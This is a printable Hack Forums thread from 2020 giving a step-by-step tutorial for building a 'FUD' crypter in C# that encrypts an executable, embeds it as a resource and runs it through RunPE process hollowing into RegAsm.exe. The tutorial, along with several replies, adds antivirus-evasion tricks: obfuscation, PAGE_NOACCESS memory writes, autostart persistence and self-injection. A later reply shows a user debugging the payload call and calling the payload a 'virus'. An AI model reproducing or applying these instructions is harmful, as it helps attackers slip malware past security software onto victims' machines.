C# How to make a FUD crypter (WITH SOURCES)

[C#] How to make a FUD crypter (WITH SOURCES) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] How to make a FUD crypter (WITH SOURCES) (/showthread.php?tid=6089534)

Pages: Pages 1 2

How to make a FUD crypter (WITH SOURCES) - Freak_OG - Jun 22, 2020

first of all i am going to link some sources 🕵️

https://github.com/NYAN-x-CAT/CSharp-RunPE

https://github.com/Arvanaghi/CheckPlease/tree/master/C%23

okay so lets jump right into it, this is how a crypter works:

1. load file from resources or EOF
2. decrypt file
3. load file
4. ???
5. run file
6. profit! 🤑🤑🤑

where ??? is your runpe method.

okay so, make a new program in visual studio, you can call it anything.

now add this code for decryption
https://pastebin.com/AdU2ZQnG
next add the runpe i linked to it, the includes are

Code 
using System;

using System.Collections.Generic;

using System.Data;

using System.Diagnostics;

using System.IO;

using System.Linq;

using System.Net;

using System.Net.NetworkInformation;

using System.Net.Sockets;

using System.Reflection;

using System.Resources;

using System.Runtime.InteropServices;

using System.Security.AccessControl;

using System.Security.Principal;

using System.Text;

using System.Text.RegularExpressions;

using System.Threading;

using System.Windows.Forms;

using Microsoft.Win32;

now that you have added your runpe and decrypt code, we now need to need to add a resource.
first we must make another file in visual studio
you can just copy and paste this code into the app.😋
https://pastebin.com/GdM1JfPv

now run it, type in the full path of u exe u wanna encrypt.

then type the output file (MAKE SURE ITS .txt!!!)

next go back to our stub.

now right click your project and click add, then type resource.

name it resource1.resx (this is default)
add your resource as primary

now we are read for the fun part 😈
copy and paste this code into your forms main class
https://pastebin.com/ktJwJaNx

now compile your stub!!!
after it has compiled download a .net obfuscator (i recommend .netpatcher as it is from HF)

uncheck a few things like anti debug etc anti dlasm as this will increase detections

after obfuscating this is our result:
[Image: m27zwRs0oBWy.png]

if you want a tip to modify the runpe can change the virtuallocex calls to use PAGE_NOACCESS and use virtualprotectex after with EXECUTE_READWRITE to modify the permissions back so antivirus cant read what you are writing.

I hope you enjoyed this as much as I did releasing it, thanks to nyancat this thread was possible, afterall we are using his runpe.

have a nice day! 💯💯💯💯

RE: How to make a FUD crypter (WITH SOURCES) - VisualSoft - Jun 23, 2020

Nice release buddy, Keep up the work.

RE: How to make a FUD crypter (WITH SOURCES) - menato - Jun 23, 2020

Nice share friend

This guy knows what he is doing

RE: How to make a FUD crypter (WITH SOURCES) - SaketSaket - Jun 23, 2020

Keep up the good work... Thanks...

RE: How to make a FUD crypter (WITH SOURCES) - December - Jun 23, 2020

Thanks for this release man <3

RE: How to make a FUD crypter (WITH SOURCES) - gigajew - Jun 23, 2020

Sleeper tactics are always good, like on first run just copy to a folder and add to automatic start and exit. That evades some scanners.

RE: How to make a FUD crypter (WITH SOURCES) - tux1 - Jun 24, 2020

Nice tutorial, thanks for sharing!

RE: How to make a FUD crypter (WITH SOURCES) - bmeale - Jul 5, 2020

Duh?!? Thanks for sharing bro

RE: How to make a FUD crypter (WITH SOURCES) - Smoky - Aug 7, 2020

Great tutorial, I was trying to understand how it works here, a very good basis, thanks man !

RE: How to make a FUD crypter (WITH SOURCES) - Freak_OG - Aug 7, 2020

Thanks for the replies everyone, I hoped this tutorial helped you make your own crypter! There are around 3 different methods for runpe (only one I can remember is process hollowing.) some are less detected than others, manual DLL mapping can help with reducing of detections as well as make your stub alot more efficient, to avoid detections you usually need an ANTI hooking method of some kind as functions like readprocessmemory and writeprocessmemory are highly flagged by AVs. Self injection can avoid alot of things as it is kind of more "legal" to readprocessmemory and writeprocessmemory to your own process.

Glad I could help.

RE: How to make a FUD crypter (WITH SOURCES) - KUi29929 - Aug 9, 2020

i'm newbie in c # so i didn't understand, should i paste the crypter code in my program.cs or make a new class?

RE: How to make a FUD crypter (WITH SOURCES) - PandaBear - Aug 9, 2020

Thank you for this. I've been looking to get into crypters for a while

RE: How to make a FUD crypter (WITH SOURCES) - KUi29929 - Aug 9, 2020

giving "The type or namespace name 'Resource1' does not exist in the namespace 'ThanatosCrypt' (are you missing an assembly reference?)" error here.

well i have changed "ThanatosCrypt" to my local namespace and it workd like this:

Code 
RunPE.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile)));

and after i compile i run, but virus dont work idk why, it justs dont start for some reason, can u pls clarify this for me bro? Thaaanx!

RE: How to make a FUD crypter (WITH SOURCES) - Freak_OG - Aug 9, 2020

(Aug 9, 2020 12:52 PM)KUi29929 Wrote: giving "The type or namespace name 'Resource1' does not exist in the namespace 'ThanatosCrypt' (are you missing an assembly reference?)"error here.

well i have changed "ThanatosCrypt" to my local namespace and it workd like this:

Code
RunPE.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile)));

and after i compile i run, but virus dont work idk why, it justs dont start for some reason, can u pls clarify this for me bro? Thaaanx!

You need to run it differently, you are only running then decrypting

Code 
RunPE.Execute(Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile))), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe")),

RE: How to make a FUD crypter (WITH SOURCES) - KUi29929 - Aug 10, 2020

(Aug 9, 2020 08:44 PM)Freak_OG Wrote: You need to run it differently, you are only running then decrypting

Code
RunPE.Execute(Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile))), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe")),

i put this

Code 
RunPE.Execute(Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(WindowsFormsApp11.Resource1.encodedtextfile)), Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"));

still giving error now. "cannot convert from 'byte[]' to 'string'", and in the second "cannot convert from 'string' to 'byte[]'".

i think is bcs RunPE.Execute waits for

Code 
Execute(string path, byte[] payload)

and not opposite right? I inverted to:

Code 
Execute(byte[] payload, string path)

and the error disappears but when i compile and run nothing occurs

also i put this in my Program.cs:

Code 
namespace WindowsFormsApp11

{

    static class Program

    {

        /// <summary>

        /// The main entry point for the application.

        /// </summary>

        [STAThread]

        static void Main()

        {

            Application.Run(new Form1());

        }

    }

}

Cause it has giving "main entry point not found" before, can be this?